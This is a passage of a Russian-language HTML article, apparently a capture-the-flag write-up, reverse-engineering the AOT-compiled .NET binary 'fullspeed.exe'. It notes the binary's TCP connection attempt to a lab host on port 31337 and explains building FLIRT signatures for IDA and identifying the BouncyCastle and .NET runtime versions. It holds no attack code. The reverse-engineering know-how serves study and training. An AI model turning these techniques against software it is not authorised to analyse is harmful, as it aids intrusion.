\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0438\u0445 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u044f. \u041a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0438 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u043e\u0434\u043e\u043b\u0435\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0437\u0430\u043f\u0443\u0442\u0430\u043d\u043d\u044b\u0435 \u044d\u0442\u0430\u043f\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0444\u0430\u0439\u043b\u0430.<\/p>\n<p>\u041f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 fullspeed.exe \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c TCP-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u0445\u043e\u0441\u0442\u043e\u043c 192.168.56.103 \u043d\u0430 \u043f\u043e\u0440\u0442 31337.<\/p>\n<figure class=\"\">\n<div><figcaption>\u0417\u0430\u043f\u0443\u0441\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 <strong>fullspeed.exe<\/strong><\/figcaption><\/div>\n<\/figure>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 fullspeed.exe \u0432 <strong>IDA<\/strong> \u0432\u044b\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0440\u044f\u0434\u043a\u0430 6000 \u0444\u0443\u043d\u043a\u0446\u0438\u0439. \u0411\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u043c \u0444\u0430\u0439\u043b\u0435 \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u043f\u0440\u0438 <strong>AOT-\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438<\/strong> \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 .NET \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u0439 \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0439 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434, \u043d\u043e \u0438 \u0432\u0441\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0438 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0432 \u0432\u0438\u0434\u0435 \u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.<\/p>\n<p>\u041f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0435 IDA \u0431\u0443\u0434\u0443\u0442 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u043d\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 <strong>Windows<\/strong> <strong>API-\u0444\u0443\u043d\u043a\u0446\u0438\u0438<\/strong>, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u0438\u043c\u043f\u043e\u0440\u0442\u0430.<\/p>\n<figure class=\"\">\n<div><figcaption>\u041e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u0444\u0430\u0439\u043b\u0430 <strong>fullspeed.exe<\/strong> \u0432 <strong>IDA<\/strong><\/figcaption><\/div>\n<\/figure>\n<p>\u041d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u043d\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u0432 IDA \u043d\u0435\u0442 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 <strong>Fast Library Identification and Recognition Technology<\/strong>\u00a0(<strong>FLIRT<\/strong>) \u0434\u043b\u044f .NET \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 AOT.<\/p>\n<p>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 FLIRT \u0434\u043b\u044f \u0432\u0441\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0432\u0430\u0440\u0438\u0430\u0446\u0438\u0439 \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u043f\u043e\u0434 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b \u043d\u0435 \u043e\u043f\u0440\u0430\u0432\u0434\u0430\u043d\u043e, \u0434\u0430\u0436\u0435 \u043e\u0434\u043d\u0430 \u0438 \u0442\u0430 \u0436\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u0438\u043c\u0435\u0442\u044c \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u043e\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 .NET, \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u0430, \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0444\u0430\u043a\u0442\u043e\u0440\u043e\u0432. \u042d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0445 FLIRT-\u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 \u0434\u043b\u044f AOT-\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 .NET \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043a\u0440\u0430\u0439\u043d\u0435 \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c.<\/p>\n<h3>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 FLIRT \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440<\/h3>\n<p>\u0421 \u0446\u0435\u043b\u044c\u044e \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u0447\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0442\u0430\u043a\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b \u0432 IDA, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0442\u044c \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u0435\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0441\u043b\u0438\u043d\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u0447\u043d\u044b\u0445 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439.<\/p>\n<p>\u0414\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e:<\/p>\n<ul>\n<li>\n<p>\u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0438 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443, \u0438\u043c\u0435\u044e\u0449\u0443\u044e \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430. \u0412 \u0442\u0430\u043a\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043a\u043e\u0440\u043e\u0442\u043a\u0443\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <strong>\u00abHello, world!\u00bb<\/strong>.<\/p>\n<\/li>\n<li>\n<p>\u0412 \u0440\u0430\u043d\u0435\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u0447\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0438\u043b\u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438.<\/p>\n<\/li>\n<\/ul>\n<p>\u0414\u0430\u043b\u0435\u0435 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u043e\u0442\u043b\u0430\u0434\u043e\u0447\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 <strong>Program Database<\/strong> (\u0444\u0430\u0439\u043b <strong>PDB<\/strong> \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0431 \u043e\u0442\u043b\u0430\u0434\u043e\u0447\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u0430\u0445 \u2013 \u0438\u043c\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445, \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u043f\u0440.), \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 IDA, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0443\u0434\u0443\u0442 \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0441 \u0438\u0445 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d \u0432 \u0444\u0430\u0439\u043b\u0435 <strong>IDA Database<\/strong> (<strong>idb<\/strong>).<br \/> \u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0448\u0430\u0433\u043e\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u0430 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 FLIRT. \u0415\u0441\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043a\u0430\u043a \u044d\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c:<\/p>\n<ul>\n<li>\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u043a\u0440\u0438\u043f\u0442 <a href=\"https:\/\/github.com\/mandiant\/flare-ida\/blob\/master\/python\/flare\/idb2pat.py\" rel=\"noopener noreferrer nofollow\">idb2pat<\/a> \u043e\u0442 <a href=\"https:\/\/cloud.google.com\/blog\/topics\/threat-intelligence\/flare-ida-pro-script\/\" rel=\"noopener noreferrer nofollow\">FireEye<\/a> \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0444\u0430\u0439\u043b \u0448\u0430\u0431\u043b\u043e\u043d\u0430 <strong>IDA Pattern File<\/strong> (\u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u0430 <strong>.pat<\/strong>) \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0430\u0445 \u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u043c \u0432\u0438\u0434\u0435. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0448\u0430\u0433 \u2013 \u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 .pat \u0432 \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u0439 \u0432\u0438\u0434 <strong>.sig<\/strong> \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u044b <strong>sigmake<\/strong> (\u043d\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u0441\u043e\u0441\u0442\u0430\u0432\u0435 \u043d\u0430\u0431\u043e\u0440\u0430 \u0443\u0442\u0438\u043b\u0438\u0442 <strong>Fast Library Acquisition for Identification and Recognition<\/strong> (<strong>FLAIR<\/strong>), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0431\u0438\u043d\u0435\u0442 \u043d\u0430 <strong>my.hex-rays.com<\/strong>).<\/p>\n<\/li>\n<li>\n<p>\u041d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u0432\u0435\u0440\u0441\u0438\u0438 <strong>IDA Professional 8.4<\/strong> \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u043f\u043b\u0430\u0433\u0438\u043d <a href=\"https:\/\/docs.hex-rays.com\/release-notes\/8_4#standard-plugins\" rel=\"noopener noreferrer nofollow\">makesig<\/a>, \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432 GUI IDA \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0441\u0434\u0435\u043b\u0430\u0442\u044c FLIRT \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b \u0441\u0440\u0430\u0437\u0443 \u0438\u0437 idb \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u043b\u0438\u043a\u043e\u0432.<\/p>\n<\/li>\n<\/ul>\n<figure class=\"\">\n<div><figcaption>\u041f\u043b\u0430\u0433\u0438\u043d makesig \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432 GUI IDA<\/figcaption><\/div>\n<\/figure>\n<h3>\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a<\/h3>\n<p>\u0414\u043b\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e\u0433\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u0430\u043a\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0432 fullspeed.exe \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0430\u043d\u0430\u043b\u0438\u0437 \u0441\u0442\u0440\u043e\u043a, \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0432 \u0444\u0430\u0439\u043b\u0435, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u044f\u0432\u0438\u0442\u044c \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432 \u0438\u043c\u0451\u043d, \u0442\u0438\u043f\u043e\u0432 \u0438\u043b\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0438 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a.<br \/> \u0412 \u0445\u043e\u0434\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0441\u0442\u0440\u043e\u043a\u0438, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430\u043c \u0438\u043c\u0451\u043d <strong>System.Security.Cryptography<\/strong>, <strong>System.Net.Sockets<\/strong>, <strong>BouncyCastle.Cryptography<\/strong>.<br \/> \u0412\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0435\u0439 \u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u043c\u0438 \u0441\u043e\u043a\u0435\u0442\u0430\u043c\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 BouncyCastle.<br \/> <strong>BouncyCastle<\/strong> \u2013 \u043f\u0440\u043e\u0435\u043a\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b. \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043d\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u044f\u0437\u044b\u043a\u0430\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044f <strong>Java<\/strong> \u0438 <strong>C#<\/strong>.<br \/> \u041f\u0440\u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u0438 \u043f\u043e\u0438\u0441\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0432 \u0444\u0430\u0439\u043b\u0435 \u043f\u043e \u0441\u0442\u0440\u043e\u043a\u0435 BouncyCastle \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0438 \u043f\u0435\u0440\u0432\u044b\u0445 10 \u0441\u0438\u043c\u0432\u043e\u043b\u0430\u0445 \u0445\u0435\u0448\u0430 SHA1 \u043a\u043e\u043c\u043c\u0438\u0442\u0430 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f <a href=\"https:\/\/github.com\/bcgit\/bc-csharp\/commit\/83ebf4a8054955bb4b55e081fb6a755ea8c7bb92\" rel=\"noopener noreferrer nofollow\">BouncyCastle<\/a> (<strong>2.4.0+83ebf4a805<\/strong>).<\/p>\n<p>\u0420\u044f\u0434\u043e\u043c \u0441 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0435\u0439 \u043e BouncyCastle \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0445\u0435\u0448 \u043a\u043e\u043c\u043c\u0438\u0442\u0430 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f <a href=\"https:\/\/github.com\/dotnet\/runtime\/commit\/087e15321bb712ef6fe8b0ba6f8bd12facf92629\" rel=\"noopener noreferrer nofollow\"><strong>.NET Runtime<\/strong><\/a> (<strong>8.0.5+087e15321bb712ef6fe8b0ba6f8bd12facf92629<\/strong>).<\/p>\n<figure class=\"\">\n<div><figcaption>\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e <strong>BouncyCastle<\/strong> \u0438 <strong>.NET Runtime<\/strong><\/figcaption><\/div>\n<\/figure>\n<h3>\u041d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b<\/h3>\n<p>\u0414\u043b\u044f \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u0430 \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0435 (<strong>elliptic_curve<\/strong>), \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u0443\u0434\u0443\u0442 \u0434\u0432\u0430 \u043f\u0440\u043e\u0435\u043a\u0442\u0430: <strong>client<\/strong> \u0438 <strong>server<\/strong>. \u0412 \u043f\u0440\u043e\u0435\u043a\u0442\u0435 client \u0431\u0443\u0434\u0435\u043c \u0432\u043e\u0441\u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043b\u043e\u0433\u0438\u043a\u0443 \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b fullspeed.exe, \u0430 \u0432 server 